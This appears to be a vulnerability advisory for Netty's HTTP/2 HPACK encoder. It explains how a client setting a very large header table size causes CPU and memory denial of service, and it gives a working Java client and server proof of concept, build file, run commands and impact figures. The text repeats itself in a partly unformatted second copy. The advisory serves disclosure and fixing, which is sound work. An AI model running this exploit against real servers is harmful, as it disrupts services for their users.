Summary
A client can send SETTINGS with a very large MAX_HEADER_TABLE_SIZE to cause HpackEncoder to save all unique send headers. Those can accumulate over time and cause a CPU or memory DoS.
Details
If a client sends SETTINGS with a very large MAX_HEADER_TABLE_SIZE, it is propagated directly through DefaultHttp2HeadersEncoder.maxHeaderTableSize() to HpackEncoder.setMaxHeaderTableSize(). HpackEncoder then uses the received value directly and will happily fill the table with every unique header sent by the server, eventually causing excessive O(n²) chain scanning in HpackeEncoder.getEntryInsensitive().
This was found when trying to produce a PoC for a memory DoS caused by retaining all unique header fields. I was expecting to get ~2 GiB of memory usage, but memory use was significantly less. I tracked that down to slowing QPS and then to the CPU DoS. The fix for both is the same: cap the table size, maybe as a function of arraySizeHint.
PoC
import io.netty.bootstrap.Bootstrap;
import io.netty.channel.Channel;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.SimpleChannelInboundHandler;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioSocketChannel;
import io.netty.handler.codec.http2.DefaultHttp2Headers;
import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame;
import io.netty.handler.codec.http2.Http2FrameCodecBuilder;
import io.netty.handler.codec.http2.Http2Headers;
import io.netty.handler.codec.http2.Http2HeadersFrame;
import io.netty.handler.codec.http2.Http2MultiplexHandler;
import io.netty.handler.codec.http2.Http2Settings;
import io.netty.handler.codec.http2.Http2StreamChannel;
import io.netty.handler.codec.http2.Http2StreamChannelBootstrap;
import io.netty.handler.codec.http2.Http2StreamFrame;
import io.netty.util.concurrent.Future;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
public final class Http2Client {
static final String HOST = "127.0.0.1";
static final int PORT = 8080;
public static void main(String[] args) throws Exception {
// Configure client-sent HTTP/2 SETTINGS
Http2Settings settings = Http2Settings.defaultSettings();
settings.headerTableSize(Integer.MAX_VALUE);
EventLoopGroup group = new NioEventLoopGroup(1);
try {
Bootstrap b = new Bootstrap()
.group(group)
.channel(NioSocketChannel.class)
.remoteAddress(HOST, PORT)
.handler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(
Http2FrameCodecBuilder.forClient()
.initialSettings(settings)
.build(),
new Http2MultiplexHandler(new ChannelInboundHandlerAdapter()));
}
});
Channel ch = b.connect().sync().channel();
AtomicInteger count = new AtomicInteger();
for (int i = 0; i < 10; i++) {
startRpcs(ch, count);
}
while (true) {
Thread.sleep(1000);
System.out.println("RPCs completed: " + count.getAndSet(0));
}
} finally {
group.shutdownGracefully();
}
}
private static void startRpcs(Channel ch, AtomicInteger count) throws Exception {
new Http2StreamChannelBootstrap(ch)
.handler(new SimpleChannelInboundHandler<Http2StreamFrame>() {
@Override
protected void channelRead0(ChannelHandlerContext ctx, Http2StreamFrame msg) throws Exception {
if (!(msg instanceof Http2HeadersFrame)) {
System.out.println("Unexpected response frame: " + msg);
return;
}
if (!((Http2HeadersFrame) msg).isEndStream()) {
System.out.println("Surprising header response: " + msg);
return;
}
count.incrementAndGet();
startRpcs(ch, count);
}
})
.open()
.addListener((Future<Http2StreamChannel> f) -> {
Http2Headers headers = new DefaultHttp2Headers()
.method("GET")
.path("/")
.scheme("http");
f.getNow().writeAndFlush(new DefaultHttp2HeadersFrame(headers, true));
});
}
}
import io.netty.bootstrap.ServerBootstrap;
import io.netty.buffer.ByteBufUtil;
import io.netty.channel.Channel;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInitializer;
import io.netty.channel.EventLoopGroup;
import io.netty.channel.SimpleChannelInboundHandler;
import io.netty.channel.nio.NioEventLoopGroup;
import io.netty.channel.socket.SocketChannel;
import io.netty.channel.socket.nio.NioServerSocketChannel;
import io.netty.handler.codec.http2.DefaultHttp2Headers;
import io.netty.handler.codec.http2.DefaultHttp2HeadersFrame;
import io.netty.handler.codec.http2.Http2DataFrame;
import io.netty.handler.codec.http2.Http2FrameCodecBuilder;
import io.netty.handler.codec.http2.Http2Headers;
import io.netty.handler.codec.http2.Http2HeadersFrame;
import io.netty.handler.codec.http2.Http2MultiplexHandler;
import io.netty.handler.codec.http2.Http2StreamChannel;
import io.netty.handler.codec.http2.Http2StreamFrame;
import java.util.concurrent.ThreadLocalRandom;
public final class Http2Server {
static final int PORT = 8080;
public static void main(String[] args) throws Exception {
EventLoopGroup group = new NioEventLoopGroup(1);
try {
ServerBootstrap b = new ServerBootstrap()
.group(group)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline().addLast(
Http2FrameCodecBuilder.forServer().build(),
new Http2MultiplexHandler(new ChannelInitializer<Http2StreamChannel>() {
@Override
protected void initChannel(Http2StreamChannel ch) {
ch.pipeline().addLast(new SimpleHandler());
}
}));
}
});
Channel ch = b.bind(PORT).sync().channel();
System.out.println("HTTP/2 server listening on port " + PORT);
ch.closeFuture().sync();
} finally {
group.shutdownGracefully().sync();
}
}
static final class SimpleHandler extends SimpleChannelInboundHandler<Http2StreamFrame> {
@Override
protected void channelRead0(ChannelHandlerContext ctx, Http2StreamFrame msg) {
boolean endStream = (msg instanceof Http2HeadersFrame && ((Http2HeadersFrame) msg).isEndStream())
|| (msg instanceof Http2DataFrame && ((Http2DataFrame) msg).isEndStream());
if (endStream) {
byte[] txIdBytes = new byte[64];
ThreadLocalRandom.current().nextBytes(txIdBytes);
String txId = ByteBufUtil.hexDump(txIdBytes); // 128-byte string
Http2Headers headers = new DefaultHttp2Headers()
.status("200")
.set("transaction-id0", txId)
.set("transaction-id1", txId)
.set("transaction-id2", txId)
.set("transaction-id3", txId)
.set("transaction-id4", txId)
.set("transaction-id5", txId)
.set("transaction-id6", txId)
.set("transaction-id7", txId)
.set("transaction-id8", txId)
.set("transaction-id9", txId);
ctx.writeAndFlush(new DefaultHttp2HeadersFrame(headers, true));
}
}
}
}
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>netty-http2-simple</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-codec-http2</artifactId>
<version>4.2.17.Final</version>
</dependency>
</dependencies>
<build>
<sourceDirectory>.</sourceDirectory>
</build>
</project>
In two terminals:
mvn compile exec:java -Dexec.mainClass=Http2Server
mvn exec:java -Dexec.mainClass=Http2Client
The PoC should use 100% CPU, even without any DoS. However, QPS drops significantly over time and profiling shows 98%+ CPU time in getEntryInsensitive(), 100% in encodeHeader().
Impact
The severity of this will vary based on the server's behavior. If it responds with many unique headers then it is a bigger issue. While Date is guaranteed to change over time, it doesn't change fast enough to be much of an issue.
Since the HPACK table is scoped to the connection, limiting the number of requests on the connection can somewhat limit the impact. The attack scales the table quickly in the beginning, and then sees diminishing returns as the attack becomes more efficient. After five minutes, qps was 0.6% of qps with a normal table size. But in the first seconds performance had already dropped to 20% (I'm comparing two separate runs with cold JITs here, so don't see this as scientific, especially with the no-op workload here).
Summary
A client can send SETTINGS with a very large MAX_HEADER_TABLE_SIZE to cause HpackEncoder to save all unique send headers. Those can accumulate over time and cause a CPU or memory DoS.
Details
If a client sends SETTINGS with a very large MAX_HEADER_TABLE_SIZE, it is propagated directly through
DefaultHttp2HeadersEncoder.maxHeaderTableSize()toHpackEncoder.setMaxHeaderTableSize().HpackEncoderthen uses the received value directly and will happily fill the table with every unique header sent by the server, eventually causing excessive O(n²) chain scanning inHpackeEncoder.getEntryInsensitive().This was found when trying to produce a PoC for a memory DoS caused by retaining all unique header fields. I was expecting to get ~2 GiB of memory usage, but memory use was significantly less. I tracked that down to slowing QPS and then to the CPU DoS. The fix for both is the same: cap the table size, maybe as a function of
arraySizeHint.PoC
In two terminals:
The PoC should use 100% CPU, even without any DoS. However, QPS drops significantly over time and profiling shows 98%+ CPU time in
getEntryInsensitive(), 100% inencodeHeader().Impact
The severity of this will vary based on the server's behavior. If it responds with many unique headers then it is a bigger issue. While
Dateis guaranteed to change over time, it doesn't change fast enough to be much of an issue.Since the HPACK table is scoped to the connection, limiting the number of requests on the connection can somewhat limit the impact. The attack scales the table quickly in the beginning, and then sees diminishing returns as the attack becomes more efficient. After five minutes, qps was 0.6% of qps with a normal table size. But in the first seconds performance had already dropped to 20% (I'm comparing two separate runs with cold JITs here, so don't see this as scientific, especially with the no-op workload here).